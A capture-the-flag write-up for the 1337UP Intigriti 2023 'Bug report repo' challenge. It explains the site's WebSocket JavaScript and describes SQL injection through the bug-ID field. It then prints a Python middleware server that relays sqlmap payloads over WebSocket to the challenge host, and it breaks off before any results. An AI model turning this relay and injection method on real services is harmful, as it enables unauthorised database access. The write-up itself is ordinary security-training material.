1337UP intigriti 2023
Bug report repo
This is the webpage of the challenge where we look at the page dealing in reports:

we keep on typing the number , we can see that the program responds the name and the status of the report
we can also see that no request was made to the back-end for this -> so everything must on the front-end
Though when bug not found says the id not on the display:
It gives a new report id-> 11 not on display {also from ethical hacker}

I got this code from the page's js file -> They were using websockets .. that's why nothing was on burp
$(document).ready(function () {
open_ws();
$("#id").on("keyup", function (_event) {
bug_search();
});
});
function bug_search() {
var bug_id = $("#id").val();
if (bug_id) {
var msg = JSON.stringify({ id: bug_id });
ws.send(msg);
var rows = $("table tbody tr");
rows.removeClass("highlight").css("color", "");
rows.each(function () {
var row = $(this);
if (row.find("td:first-child").text() == bug_id) {
row.addClass("highlight").css("color", "black");
}
});
}
}
function open_ws() {
var HOST = location.origin.replace(/^http/, "ws");
console.log(HOST)
window.ws = new WebSocket(HOST + "/ws");
ws.onopen = function (_event) {
setInterval(ping, 42000);
};
ws.onmessage = function (event) {
if (event.data == "__pong__") {
pong();
return;
}
try {
msg = JSON.parse(event.data);
$("#res-container").html(msg.message);
} catch (e) {
$("#res-container").html(event.data);
}
};
ws.onerror = function (event) {
try {
msg = JSON.parse(event.data);
$("#res-container").text(msg.message);
} catch (e) {
$("#res-container").text(event.data);
}
};
ws.onclose = function (_event) {
console.log("Connection closed!");
};
}
function ping() {
ws.send("__ping__");
tm = setTimeout(function () {}, 4200);
}
function pong() {
clearTimeout(tm);
}
explaintation
Document Ready Function:
javascriptCopy code$(document).ready(function () { open_ws(); $("#id").on("keyup", function (_event) { bug_search(); }); });
This part ensures that the document is fully loaded before executing the provided functions.
open_ws()
is called to open a WebSocket connection.An event listener is attached to the
keyup
event on the HTML element with the IDid
. When a key is released, thebug_search()
function is called.
bug_search()
Function:javascriptCopy codefunction bug_search() { var bug_id = $("#id").val(); if (bug_id) { var msg = JSON.stringify({ id: bug_id }); ws.send(msg); var rows = $("table tbody tr"); rows.removeClass("highlight").css("color", ""); rows.each(function () { var row = $(this); if (row.find("td:first-child").text() == bug_id) { row.addClass("highlight").css("color", "black"); } }); } }
Retrieves the value from the HTML element with the ID
id
.If
bug_id
is not empty, it constructs a JSON message (msg
) and sends it via the WebSocket (ws.send(msg)
).It then manipulates the style of table rows based on whether they match the bug_id.
open_ws()
Function:javascriptCopy codefunction open_ws() { var HOST = location.origin.replace(/^http/, "ws"); console.log(HOST) window.ws = new WebSocket(HOST + "/ws"); ws.onopen = function (_event) { setInterval(ping, 42000); }; ws.onmessage = function (event) { // Handle WebSocket messages }; ws.onerror = function (event) { // Handle WebSocket errors }; ws.onclose = function (_event) { console.log("Connection closed!"); }; }
Constructs a WebSocket (
ws
) using the current page's origin with the protocol changed to WebSocket (ws
).Sets up event handlers for
onopen
,onmessage
,onerror
, andonclose
events.Calls
ping
function at regular intervals (42 seconds).
ping()
andpong()
Functions:javascriptCopy codefunction ping() { ws.send("__ping__"); tm = setTimeout(function () {}, 4200); } function pong() { clearTimeout(tm); }
ping
sends a__ping__
message through the WebSocket and sets a timeout.pong
clears the timeout, acting as a response to the ping.

exploit begins
what if we use the injection here? -> basic sqli
GUESS WE ARE RIGHT

we can use sqlmap to automate our finding -> sqlmap over websockets !! yes how to do so:
Article-1 explaining everything.
so using article-1 I made sure to understand the code and used it , also the code was made for the in-network server but we needed to connect to remote hosts over websockets so we used wss instead of ws in the protocol.
we also need to make sure that the negative id are not being transmitted as it's running sqlite3
so to do that we just imply a simple condition the code : if payload.startswith('-'): content="NOT sending due to -ve value"
code:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
# resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"', '\'') # replacing " with ' to avoid breaking JSON structure
data = '{"employeeID":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port, content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=', 1)[1]
except IndexError:
payload = False
if payload:
if payload.startswith('-'):
content = "Skipped due to negative id as it freezes on negative id"
else:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
pass
now this is our middle ware -> we'll send the request to him via sqlmap and this will forward it over websocket:


Last updated